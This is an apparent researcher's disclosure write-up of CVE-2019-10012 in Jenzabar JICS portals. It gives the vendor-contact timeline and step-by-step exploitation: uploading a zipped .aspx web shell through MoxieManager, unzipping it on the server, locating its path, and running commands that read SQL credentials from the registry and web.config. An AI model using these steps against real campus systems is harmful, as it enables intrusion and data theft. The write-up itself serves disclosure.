Critical vulnerability in Higher Ed ERP

CVE-2019–10012
tl;dr: Critical vulnerability in Jenzabar JICS <9.x, a Higher Ed ERP used by numerous small-to-medium sized colleges/universities, has a trivially exploitable plugin that allows remote privilege escalation to a web shell.

Part I

On Friday, October 19, I uncovered a severe vulnerability while playing around in the portal, JICS (Jenzabar Internet Campus Solutions), for the ERP (/ Student Information System) used by the university where I work. I had been reading about weaknesses exposed by web-based file upload mechanisms and I wanted to explore such options in our ERP/SIS.

Indeed, JICS versions prior to 9.x use one such plugin within visual text box editors to allow file and image upload/insertion into the form. These forms with the file upload toolbar can be exposed to any user, including unauthenticated ones. However, in my testing it seems that only authenticated users can use the upload button. That’s the good news. The bad news is that least-privileged users such as prospective students can use the toolbar plugin to upload web shells and exploit the vulnerability.

Once I discovered the issue, I reported it through Jenzabar’s generic website contact info Friday night. Monday morning at 9:30am CDT I still hadn’t heard back, so my CIO used his contacts at Jenzabar to email their development team. We got an immediate response and I was put in touch with the lead developer for their portal software who asked me to detail the steps to reproduce the issue. I provided those steps via email.

By 6pm CDT I got an email back from Jenzabar’s VP over the product development team who acknowledged the issue, reported that they could reproduce it, and were working on a fix and communication plan to their customer base. At 4:30pm the next day (Tuesday), they sent out an email to their customer mailing list with a patch to mitigate the issue. Below I thought I’d detail my thought process for how I exploited the problem.

Edit: Within the week I discovered that the initial vendor patch did not completely mitigate this issue. Part II has been released.

• Downloaded .aspx web shell and tried to upload to MoxieManager in SIS portal but wouldn’t take aspx file
• Zipped shell.aspx into shell.zip and uploaded it to MoxieManager
• MoxieManager includes unzip function in the web file manager. Unzipped shell.zip. File viewer didn’t show it, but I could tell it was there due to website behavior

shell.aspx is unzipped, but file viewer doesn’t show it

• Needed to figure out the URL path to where my aspx lived
• Got the relative path by looking at info in file browser of moxman. Also found links in the source to the following, so I tried going to them in the address bar:

https://my.domain.edu/ICS/staticpages/getfile.aspx?target=/moxiemanager/files/users/30a1d7b9-3fd2-4801-9c52-268977a4a558/shell.zip
https://my.domain.edu/ICS/staticpages/getfile.aspx?target=/moxiemanager/files/users/30a1d7b9-3fd2-4801-9c52-268977a4a558/shell.aspx
https://my.domain.edu/ICS/UI/Common/Scripts/tinymce/plugins/moxiemanager/api.ashx?action=download&path=%2Fusername%2Fshell.aspx

• Kept downloading rather than running the active server page. Need to find the full URL path where it was uploaded
• Ok, stop trying file paths. Let’s try a dir and see what happens…

https://my.domain.edu/ICS/staticpages/getfile.aspx?target=/moxiemanager/files/users/30a1d7b9-3fd2-4801-9c52-268977a4a558

• Produced an IIS error which was …

Could not find file ‘D:\Program Files\ICS\ICS.NET\ICSFileServer/moxiemanager/files/users/30a1d7b9–3fd2–4801–9c52–268977a4a558’

• Which gave the literal path…

https://my.domain.edu/ICSFileServer/moxiemanager/files/users/30a1d7b9-3fd2-4801-9c52-268977a4a558/shell.aspx

• Which finally led to execution of my intact web shell. Logged in and looked around…

gci hklm:\software\odbc\odbc.ini gives username/password for sql connections.
cat ‘d:\program files\ICS\ICS.net\portal\web.config’ to get sql connection string user/password

• Now it’s all over. I can use sql connection string from webshell to connect to database and read/write everything that the sql user can
• Also now trivial to setup listener on the host so I can snag usernames/passwords or setup a reverse shell

Sources

Turns out this was related to an issue in the Moxie Manager plugin that others had discovered, reported, and had been fixed back in 2016 within the Moxie Manager code: https://www.sjoerdlangkemper.nl/2016/09/15/uploading-webshells-with-moxiemanager/

Jenzabar had included the newer (fixed) Moxie Manager plugin in their latest portal software (≥9.x), but had been heretofore unaware of the issue to backport fixes for customers still on previous versions.

Read Part II about how I bypassed the initial vendor patch.

2019-Mar-24: CVE-2019–10012 issued for this vulnerability